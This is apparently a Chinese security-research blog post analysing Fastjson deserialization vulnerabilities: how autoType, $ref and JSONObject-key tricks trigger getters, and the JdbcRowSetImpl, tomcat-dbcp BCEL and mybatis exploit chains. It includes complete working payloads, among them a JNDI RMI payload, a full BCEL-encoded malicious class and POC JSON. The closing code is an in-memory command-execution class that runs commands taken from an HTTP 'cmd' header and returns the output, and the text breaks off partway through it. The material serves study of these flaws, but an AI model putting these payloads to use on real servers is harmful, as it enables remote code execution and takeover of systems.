Fastjson Sec
Fastjson
前置知识
autoType功能
序列化:fastjson在通过JSON.toJSONString()
将对象转换为字符串的时候,当使用SerializerFeature.WriteClassName
参数时会将对象的类名写入@type
字段中,
反序列化:在重新转回对象时会根据@type
来指定类,进而调用指定类的set
,get
方法。因为这个特性,我们可以指定@type
指定任意不安全的类,从而造成一些问题
在fastjson 1.2.24版本之后autoType默认关闭
ParserConfig.getGloballnstance().setAutoTypeSupport(true);
序列化
Java对象转换为JSON对象
- JSON.toJSONString(Object)
- JSON.toJSONString(Object,SerializerFeature.WriteClassName) SerializerFeature.WriteClassName设置@type字段
反序列化
反序列化(将JSON字符串转换为Java对象):JSON.parse() JSON.parseObject()
- JSON.parse():parse()中会识别并调用目标类的setter方法以及某些特定的getter方法。如果json字符串中有@type则返回的是Object对象,反之则返回JSONObject对象
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
- JSON.parseObject(String text):从源代码方面来看parseOcbject本质还是调用parse方法,但是最后通过JSON.toJSON()将对象转换为JSONObject对象。正因如此会调用反序列化目标类的所有setter和getter方法
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
- JSON.parseObject(jsonStr,Object.class):这个方法返回的是Object对象
- JSON.parse(JSONStr,Feature.SupportNonPublicField):
- JSON.parseObject(jsonStr, Object.class, config, Feature.SupportNonPublicField) 设置了一个Feature.SupportNonPublicField,实际上这种情况很少会被用到。其作用就是支持反序列化使用非public修饰符保护的属性,如private修饰的属性。参数Object.class为期望类,会直接根据该class对象寻找反序列化器然后deserialze。具体看方法内部代码
- JSON.parseObject(jsonStr).toJavaObject(Object.class) 1.2.80
三种反序列化总结:
- parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
- parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
- parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
使用fastjson
我这里在pom.xml中导入的包是:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
先写一个user的java类
package testFastjson;
public class User {
private String name;
public User() {
System.out.println("调用构造函数");
}
public String getName() {
System.out.println("调用getName");
return name;
}
public void setName(String name) {
System.out.println("调用setName");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}
序列化
JSON.toString(Object object) 序列化操作:test类的主线程中序列化操作一下这个JavaBean
package testFastjson;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
User user = new User(); //调用构造函数
user.setName("butler"); //调用setName
//将user类进行序列化操作
String string = JSON.toJSONString(user); //调用getName
System.out.println(string); //{"name":"butler"}
}
}
使用 JSON.toJSONString() 方法会将javabean序列化为json字符串的时候会调用 user 的 getName()方法。(至于为什么能自动调用下文会讲到)
反序列化
反序列化流程大致分析
(随手记一记)
- checkAutoType来检测@type字段:将@type中的字段取出来作为类名然后进行反序列化操作
Class ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)
通过checkAutoType
检测
-
class whitelist mappings:File URL
-
class use @JSONType注解
-
enable autotype
-
继承自期望类:反序列化的类继承自期望类
不通过checkAutoType
检测
-
class not found
-
class blacklist
-
enable safeMode:1.2.68之后引入的特性,当其开启了之后无论@type是指定的何种类,都是不允许继续反序列化的。
-
非继承自期望类,期望类:使用JSON.parseObject(jsonStr,Object.class)反序列化方式的时候,Object.class会作为期望类。当@type所指定类和期望类是非继承关系的话不会通过
checkAutoType
继续反序列化
- 选择反序列化器
ObjectDeserializer ParserConfig#getDeserializer(Type type)
一些反序列化器(对应的都是白名单中的类的反序列化器)
-
JavaBeanDeserializer (主要处理对象的实例化(调用构造方法),对象参数的赋值(setter方法)...)
-
MiscCodec (File URL..)
-
ThrowableDeserializer
-
MapDeserializer
JavaBeanDeserializer
JavaBeanDeserializer对class类进行处理的时候会调用构造方法,然后会调用setter和一些getter方法
Java Bean实例化机制
构造方法的调用:
- 优先选取无参构造
- 没有无参构造会选取唯一的构造方法
- 如有多个构造方法,优先选取参数最多的public构造犯法
- 如参数最多的构造方法多个则随机选取一个构造方法
- 如果被实例化的是静态内部类,也可以忽略修饰符
- 如果被实例化的是非public类,构造方法里的参数类型仍然可以进一步反序列化
setter
- Field是public时可以不用setter方法
- 其他需要public的setter方法
而反序列化Java类时调用setter和一些getter方法的主要逻辑如下:
-
获取并保存目标Java类中的成员变量,setter,getter:
由JavaBeanInfo.build()进行处理,通过创建一个fieldList数组,用来保存目标Java类的成员变量以及相应的setter或getter方法信息,供后续反序列化时调用
-
解析JSON字符串,对字段逐个处理,调用相应的setter,getter进行变量赋值
fastjson语义分析JSON字符串,根据字段key,
JavaBeanDeseializer#parseField
中调用fieldlist数组中存储的相应方法进行变量初始化赋值
"getter"方法的调用
调用getter的特殊手段
https://blog.csdn.net/solitudi/article/details/120275526
https://jlkl.github.io/2021/12/18/Java_07/
https://paper.seebug.org/1613/#_1
我们都知道在Fastjson中parse会识别并调用目标类的特定setter方法及特定的getter方法,(特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法)。那么对于一般的不满足条件的getter方法能否进行调用呢?这里找出俩种调用方式
$ref
方式调用getter方法,适用于fastjson>=1.2.36JSONObject
方式调用getter方法,适用于fastjson<1.2.36
$ref
调用 getter方法
什么是$ref
$
符号属于JSONPath语法 https://goessner.net/articles/JsonPath/
$ref
是fastjson里的引用,引用之前出现的对象
循环引用 · alibaba/fastjson Wiki (github.com)
语法 | 描述 |
---|---|
引用根对象 | |
引用自己 | |
引用父对象 | |
引用父对象的父对象 | |
基于路径的引用 |
调用演示
导入fastjson依赖,做演示的话对版本没什么要求
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.36</version>
</dependency>
使用str3am师傅的例子来分析
package com.vuln;
import java.io.IOException;
public class Test {
private String cmd;
public String getCmd() throws IOException {
System.out.println("调用了getCmd方法.");
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
System.out.println("调用了setCmd方法.");
this.cmd = cmd;
}
}
然后反序列化调用一下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]"; //会调用getCmd
//String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0]\"}]"; //会调用setCmd
Object o = JSON.parse(payload);
}
}
最后调用结果
调用分析
首先看一下调用栈,payload的调用栈
自己胡乱分析了一遍,对上面的程序下断点开始调试
进入到JSON.parse
函数中,parser.parse()代码对fastjson字符串整体处理,后面的parser.handleResolveTask也很好理解,它是为了解决上一行代码中未处理完的任务
然后先进入parser.parse()中进行分析,因为这里处理的是json字符串是数组,所以会进入case:14
在DefaultJSONParser#parseArray中有while循环会逐个对数组元素反序列化
第一个数组元素反序列化没有任何问题,第二个数组元素是{\"$ref\":\"$[0].cmd\"}
,在DefaultJSONParser#parseObject中如果key是"$ref"但是处理不了对应的 ref 变量("$[0].cmd")的话就将 ref 添加到resolveTaskList
中
回到JSON.parse
函数中会进入parser.handleResolveTask
处理未处理完的字符串,如果this.getObject获得不了对象就会使用JSONPath来解析ref变量
JSONPath#eval
中会先进行 init 初始化操作将"$[0].cmd"处理成相应的segement对象,然后逐个处理
init函数中主要看JSONPath#explain()中的逻辑,Segement数组有8个元素主要是Segement有8个继承类,主要逻辑在readSegment逻辑中
直接回到JSONPath#eval()逻辑中,this.segments数组中第一个元素对应着$[0],第二个元素对应着cmd
然后进入第二个segment.eval()中调用getPropertyValue。此时currentObject为第一个Segment元素得出的对象Test
在getPropertyValue中会调用beanSerializer.getFieldValue函数,之后就是使用反射调用Test对象的getCmd方法...
1.2.36之前的限制
前面为1.2.36,后面为1.2.35,我们可以看到1.2.35中如果this.getObject(ref)
获取不了对象直接将不进入JSONPath.eval
函数
1.2.36之前的救赎
案例介绍
JSONObject
方式调用 getter方法
什么是JSONObject
JSONObject继承了JSON类并实现了Map接口,执行JSON#toString()时会将当前对象转为字符串形式,会提取类中所有Field,自然会执行相应的getter、is等方法。
调用演示
package com.vuln;
import java.io.IOException;
public class Test {
private String cmd;
public String getCmd() throws IOException {
System.out.println("调用了getCmd方法.");
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
System.out.println("调用了setCmd方法.");
this.cmd = cmd;
}
}
反序列化payload
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]"; //会调用getCmd
//String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0]\"}]"; //会调用setCmd
String payload = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.vuln.Test\",\n" +
" \"cmd\": \"calc\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object o = JSON.parse(payload);
}
}
最终成功弹出计算器
调用分析
反序列化时首先得到一个JSONObject对象,然后将该JSONObject对象置于"JSON Key"的位置。Fastjson在反序列化时会对”JSON Key”自动调用JSON.toString()。JSONObject继承了JSON类并实现了Map接口,执行JSON#toString()时会将当前对象转为字符串形式,会提取类中所有Field,自然会执行相应的getter、is等方法,以此调用:getCmd()方法。
我们在JSON#toString
处下一个断点,发现其上层函数是com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
,再往上走是com.alibaba.fastjson.parser.DefaultJSONParser#parse
和之前一样在com.alibaba.fastjson.parser.DefaultJSONParser#parse
中一样依旧会选择12,12就是解析出第一个有效字符串是{
进入了com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
之后会继续判断下一个有效字符是什么,如果有效字符是{
或者[
,将会再调用一次DefaultJSONParser#parse
,解析完里面的对象之后再返回到变量key。
返回的这个key是,符合我们fastjson字符串中的内容
接下来就是对key的一系列判断,判断key是不是@type,是不是$ref....
然后接着往下走com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
中有个关于object是否是JSONObject的判断,因为在第一次进入parseObject之前套了一个JSONObject,所以它会进入到key#toString
,而这个key就是上面返回的JSONObject
JSON#toString
中我们可以看到通过该方法我们最终调用到了Test#getCmd
方法,具体为什么可以调用的到参考Str3am师傅
Fastjson使用ASM来代替反射,通过ASM的
ClassWriter
来生成JavaBeanSerializer
的子类,重写write
方法,JavaBeanSerializer
中的write
方法会使用反射从JavaBean
中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test
,也会调用getter获取类种相关信息,更详细可以参考ASM在FastJson中的应用 - SegmentFault 思否
1.2.36以后的限制
com.alibaba.fastjson.parser.DefaultJSONParser#parse 函数中可以看到不会if中的逻辑变了再调用JSONObject#toString函数
1.2.36之后的救赎
以下为fastjson1.2.37:在DefaultJSONParser#parseObject中有关JSONObject的逻辑发生了变化
if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}
限制了但是没有完全限制,从上面这段中接着往下看
if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}
Object value;
Map var27;
if (ch == '"') {
.......
map.put(key, value);
} else {
if ((ch < '0' || ch > '9') && ch != '-') {
.......
this.checkMapResolve(object, key.toString());
这里只要满足冒号后面跟的不是双引号,并且非0-9、- 字符就能够触发到toString序列化方法。所以将:"x"修改为:{}就可以触发到
String payload = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"x\":{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"}}:{}}";
在第一次调用DefaultJSONParser#parseObject
中再遇到{
字符会再次调用parse函数获得{}中的对象,所以这里的key是JSONObject对象
继续往下走,因为第二个{}中的内容已经分析完毕,所以这里ch获得的是最后的{,也就是将:"x"修改为:{}的{
最后因为是{
,可以成功调用key.toString即JSONObject.toString
案例介绍
总结一下关于如何使用JSONObject
调用特殊的getter:(fastjson<1.2.36)
<=1.2.36大致构造这样的payload:{{"@type":"com.alibaba.fastjson.JSONObject",x:{}}:x}
>1.2.36大致可以构造这样的payload:{{"@type":"com.alibaba.fastjson.JSONObject",x:{}}:{}}
Fastjson漏洞史
1.2.22-1.2.24
分析漏洞:利用链(影响版本,要求配置信息,利用环境)
利用链
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- com.sun.rowset.JdbcRowSetImpl
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource
JdbcRowSetImpl
- kick-off gadget:
JSON.parse(payload)
- sink gadget:
com.sun.rowset.JdbcRowSetImpl#setAutoCommit(boolean var1)
- chain gadget:
JavaBeanDeserializer#deserialze()
我的理解是反序列化时会根据@type获得类对象然后根据键dataSourceName反射调用setdataSourceName方法再反射调用autoCommit方法
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}
准备一个恶意的JNDIRMI服务端,反序列化以下JSON字符串
public class JdbcRowSetImpISec {
public static void main(String[] args) {
//反序列化
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
JNDIRMI服务端如果是JDK低版本的话自定义恶意的ObjectBean就可以,高版本JDK需要从环境中找可以利用的ObjectBean
JSON类的parse方法最后是实例化了一个DefaultJSONParser
对象又调用了该对象的parse()
方法跟踪 parse()
方法
在DefaultJSONParser#parse(Object fieldName)
会根据lexer.token来选择switch中对应的case
lexer.token又是从DefaultJSONParser类的构造方法中赋值的
DefaultJSONParser(final String input, final ParserConfig config, int features)
-DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config)
该构造方法中lexer先读取JSON字符串中第一个字符然后做判断为lexer.token赋值,因为是{
所以lexer.token是12,接着lexer指向下一个字符
回到DefaultJSONParser#parse(Object fieldName)
创建JSONObject对象然后调用DefaultJSONParser#parseObject(object,fieldName)
方法
接下来这个DefaultJSONParser#parseObject(object,fieldName)
特别长截取关键的部分进行分析在下来的解析过程中如果遇到空格都会跳过skipWhitespace
,随后会进入"
的判断部分
接着往下看lexer.scanSymbol
会获得JSON字符串中的键名,当前是@type
接着会在if(key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect))
里判断key是否为@type,JSON.DEFAULT_TYPE_KEY值就是@type
通过@type所指示的类名进入TypeUtils#loadClass(String className, ClassLoader classLoader)
,该方法里会根据@type
所指示的键名获取类对象,无论咋样最后的类对象clazz都会存放于缓存在mappings里
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
然后先获得出JavaBeanDeserializer对象,再触发JavaBeanDeserializer的deserialize方法
创建JavaBeanDeserializer对象时会将JavaBeanInfo对象作为属性封装
public class JavaBeanDeserializer implements ObjectDeserializer {
private final FieldDeserializer[] fieldDeserializers;
protected final Class<?> clazz;
public final JavaBeanInfo beanInfo;
.....
}
JavaBeanInfo中的fields属性就是之前提到的fieldlist数组
public class JavaBeanInfo {
public final Class<?> clazz;
public final Class<?> builderClass;
public final Constructor<?> defaultConstructor;
public final Constructor<?> creatorConstructor;
public final FieldInfo[] fields;
......
}
JavaBeanInfo#build()
:该方法中并不是直接反射获取目标Java类的成员变量的,而是会对setter、getter、成员变量分别进行处理,智能提取出成员变量信息。具体逻辑如下:
- 识别setter方法名,并根据setter方法名提取出成员变量名。如:识别出setAge()方法,FastJson会提取出age变量名并插入filedList数组。
- 通过clazz.getFields()获取成员变量。
- 识别getter方法名,并根据getter方法名提取出成员变量名。
可以看到build方法中智能的获取到了成员变量信息放在fieldList然后再放在JavaBeanInfo中的fields属性中
JavaBeanDeserializer#parseField()
方法中会根据key,也就是JSON字符串中键(在这里是autoCommit)找到对应的setter/getter封装在FieldDeserializer中再进行处理
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx
FieldDeserializer fieldDeserializer = smartMatch(key);
......
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
......
return true;
}
调用fieldDeserializer#parseField
最后就是触发JNDI的调用栈
BCEL CLassLoader
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
- kick-off gadget:
JSON.parse(payload)
/JSON.parseObject(payload)
- sink gadget:
BasicDataSource#getConnection()
ororg.apache.ibatis.datasource.unpooled.UnpooledDataSource
- chain gadget:
JavaBeanDeserializer#deserialze()
JDK 8u251 BCEL ClassLoader
之后被移除 BCEL去哪儿了,FastJSON 触发BCEL ClassLoader,目前使用得最多的两种利用方式需要分别依赖tomcat-dbcp、mybatis
tomcat-dbcp
以下为1.2.24版本下的调试
依赖包tomcat-dbcp使用也比较广泛,是Tomcat的数据库驱动组件,不过我们需要注意的是不同的dbcp依赖中的BasicDataSource
类是有所变化的
org.apache.commons.dbcp.BasicDataSource
<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>
org.apache.tomcat.dbcp.dbcp.BasicDataSource 6.0.53 7.0.81
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
因为是动态加载字节码随便准备一个恶意类
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
检验反序列化
public class BasicDataSourceSec {
public static void main(String[] args) throws IOException {
// //获取Java字节码
// JavaClass javaClass = Repository.lookupClass(Evil.class);
// //转换Java字节码为BCEL格式字节码
// String code = Utility.encode(javaClass.getBytes(),true);
// System.out.println(code);
String payload = "$l$8b$I$A$A$A$A$A$A$AmQ$cbN$db$40$U$3d$938$b1$e3$d8$E$S$c2$ab$P$9em$D$L$bc$e9$$$R$9b$w$m$84$dbT$N$82$f5d$Y$85$BcG$ce$q$e2$8f$bafC$x$W$7c$40$3f$Kq$c7$a4i$a4b$c9$f7q$ee$3d$e7$dek$ffyzx$E$f0$Z$l$5d8Xv$b1$82U$Hk$c6$bf$b1$f1$d6E$B$efl$bc$b7$b1$cePl$a9X$e9$D$86$7cc$f7$8c$c1$fa$92$5cH$86J$a8b$f9mt$d3$93$e9$v$efE$84T$c3D$f0$e8$8c$a7$ca$e4$T$d0$d2$97j$c8$e0$87G$fc$a2$_u$d0$k$ab$a8$c9$e0$b4D4Qe$d4U$P$af$f8$98$H$w$J$8e$3b$ed$5b$n$HZ$r1$b5$f9$5d$cd$c5$f5W$3e$c8$d4h1$G$b7$9b$8cR$n$P$95Q$_$Z$b9$7d$c3$f5P$82kc$c3$c3$s$b6h$ym$o$3clc$87$a1$f6$8a$b6$87$Pp$Z$ca3$5b1$ccg$8d$R$8f$fbA$a7w$r$85fX$f8$H$fd$Y$c5Z$dd$d0P$97$Y$d3$a4$de$d8$N$ff$eb$a1$cd$zy$x$F$c3$a7$c6L$b5$abS$V$f7$9b$b3$84$efi$o$e4pH$84$ca$80$8a$3a$bb$f74$e5B$d2$j6$fd$g$f3$e4$c0$ccud$cb$94$F$e4$Z$f9$c2$de$_$b0$bb$ac$ec$91$z$be$80$f0$c9z$93x$O$V$f2$O$e6$a7d$9e$89$B$d5$df$c8U$f3$f7$b0$ce$7f$c29$d9$bbG$f1$$$c3K$c4$z$m$9f$v$$Qd$d8$rb$9a$cf$eb$93$ca$CE$7f$t$f8$b0$u$afRV$a3$d7F$$$b4$b1hQ$a1$9e$z$b5$f4$M$U$9b$ce$Fd$C$A$A";
//String exploit = "{\"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"$$BCEL$$"+payload+"\"}";
String exploit = "{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"x\":{\"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+payload+"\"}}: \"x\"}";
//JSON.parseObject(exploit);
JSON.parse(exploit);
}
}
org.apache.commons.dbcp.BasicDataSource#createConnectionFactory
方法中的else部分可以选择ClassLoader来加载类对象
既然fastjson中有这一条链,那我们就要保证有getter或setter会调用createConnectionFactory
方法,并且createConnectionFactory
中的this.driverClassName
和this.driverClassLoader
也有相应的getter/setter方法
public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
this.driverClassLoader = driverClassLoader;
this.restartNeeded = true;
}
public synchronized void setDriverClassName(String driverClassName) {
if (driverClassName != null && driverClassName.trim().length() > 0) {
this.driverClassName = driverClassName;
} else {
this.driverClassName = null;
}
this.restartNeeded = true;
}
而BasicDataSource#createDataSource
方法中又调用了BasicDataSource#reateConnectionFactory
,this.dataSource
和this.closed
的值我们关心,默认为false就可以调用到
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
this.createConnectionPool();
GenericKeyedObjectPoolFactory statementPoolFactory = null;
if (this.isPoolPreparedStatements()) {
statementPoolFactory = new GenericKeyedObjectPoolFactory((KeyedPoolableObjectFactory)null, -1, (byte)0, 0L, 1, this.maxOpenPreparedStatements);
}
......
return this.dataSource;
}
}
BasicDataSource#getConnection
又可以调用到createDataSource方法
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}
我们如果想调用getConnection
方法,遇到反序列化方式为JSON.parseObject(exploit)
可以直接利用,因为该方法会调用class的所有setter/getter。那么如果是JSON.parse()
方法呢? JSON.parse()会识别并调用目标类的setter方法以及某些满足特定条件的getter方法,然而getConnection并不符合特定条件,所以正常来说在FastJson反序列化的过程中并不会被调用。
根据网上查阅的资料 Java动态类加载,当FastJson遇到内网 并经过不断的调试,得出了一点眉目。
JSONObject是Map类的子类,在执行key.toString()时会将当前类(JSONObject)转换为字符串,提取类中的所有Field,执行属性相应的getter和is方法
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436
if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}
怎么样才能执行到上述代码的key.toString呢?
首先,在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段外面再套一层{},反序列化生成一个JSONObject对象。
然后,将这个JSONObject放在JSON Key的位置上,在JSON反序列化的时候,FastJson会对JSON Key自动调用toString()方法:
最终我也调试分析了以下确实如此,过程比较复杂而且多次调用了DefaultJSONParser#parseObject(final Map object, Object fieldName)
方法。
DefaultJSONParser#parseObject() //识别到了第一个{
-DefaultJSONParser#parseObject() //识别到了第二个{
- //识别到了@type JSONObject 调用Deserializer
-MapDeserializer#deserialze() //JSONObject属于Map
-DefaultJSONParser#parseObject()
-DefaultJSONParser#parseObject() //处理 JSONObject里的 ”x“对应的{
- //识别到了@type BasicDataSource 调用Deserializer
- JavaBeanDeserializer#deserializer()
-key.toString()
-JSON#toJSONString()
调用栈截图
最后弹出计算器:
最后完整的POC为:
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
mybatis
2022N1CTF https://mp.weixin.qq.com/s/5zr2qWMd9GFMu37P89qjxA
chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https%3A%2F%2Fnese.team%2Fwriteup%2Fn1ctf2022.pdf
https://www.yulegeyu.com/2021/09/22/那些年一起打过的CTF-Laravel-任意用户登陆Tricks分析/
在org.apache.ibatis.datasource.unpooled.UnpooledDataSource#initializeDriver
方法中有Class.forName(this.driver, true, this.driverClassLoader)
,如果driverClassLoader是BCELClassCloader的话就可以进行BCEL来RCE。而且this.driver和this.driverClassLoader都是我们可以控制的
private synchronized void initializeDriver() throws SQLException {
if (!registeredDrivers.containsKey(this.driver)) {
try {
Class driverType;
if (this.driverClassLoader != null) {
driverType = Class.forName(this.driver, true, this.driverClassLoader);
} else {
driverType = Resources.classForName(this.driver);
}
Driver driverInstance = (Driver)driverType.newInstance();
DriverManager.registerDriver(new DriverProxy(driverInstance));
registeredDrivers.put(this.driver, driverInstance);
} catch (Exception var3) {
throw new SQLException("Error setting driver on UnpooledDataSource. Cause: " + var3);
}
}
}
然后找到的调用链是getConnection -> doGetConnection -> initializeDriver。fastjson中可以通过$ref、JSONObject调用特殊的getter方法
根据网上公开的<=1.2.24的BCEL ClassLoader修改的payload如下,也可以在fastjson 1.2.33 - 1.2.47或者无autotype的版本可利用
{
"x": {
"xxx": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"www": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$......."
}
}: {}
}
}
BCEL之不出网
bcel的利用指定了classloader为com.sun.org.apache.bcel.internal.util.ClassLoader,导致不能直接获取到request、response等。通过从当前线程的classloader来获取request、response可解决该问题,Thread.currentThread().getContextClassLoader().loadClass(“javax.servlet.http.HttpServletRequest”), 参考这位师傅的。我大体看了下非内存马而是命令注入 悄悄备份
//Author:fnmsd
//Blog:https://blog.csdn.net/fnmsd
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class dfs_classloader {
static HashSet<Object> h;
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String cmd;
static Object r;
static Object p;
// static {
// r = null;
// p = null;
// h =new HashSet<Object>();
// F(Thread.currentThread(),0);
// }
public dfs_classloader()
//static
{
// System.out.println("start");
r = null;
p = null;
h =new HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(Thread.currentThread(),0);
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
if(cmd==null) {
r = null;
}else{
//System.out.println("find Request");
try {
Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
//System.out.println("getResponse Error");
r=null;
//e.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
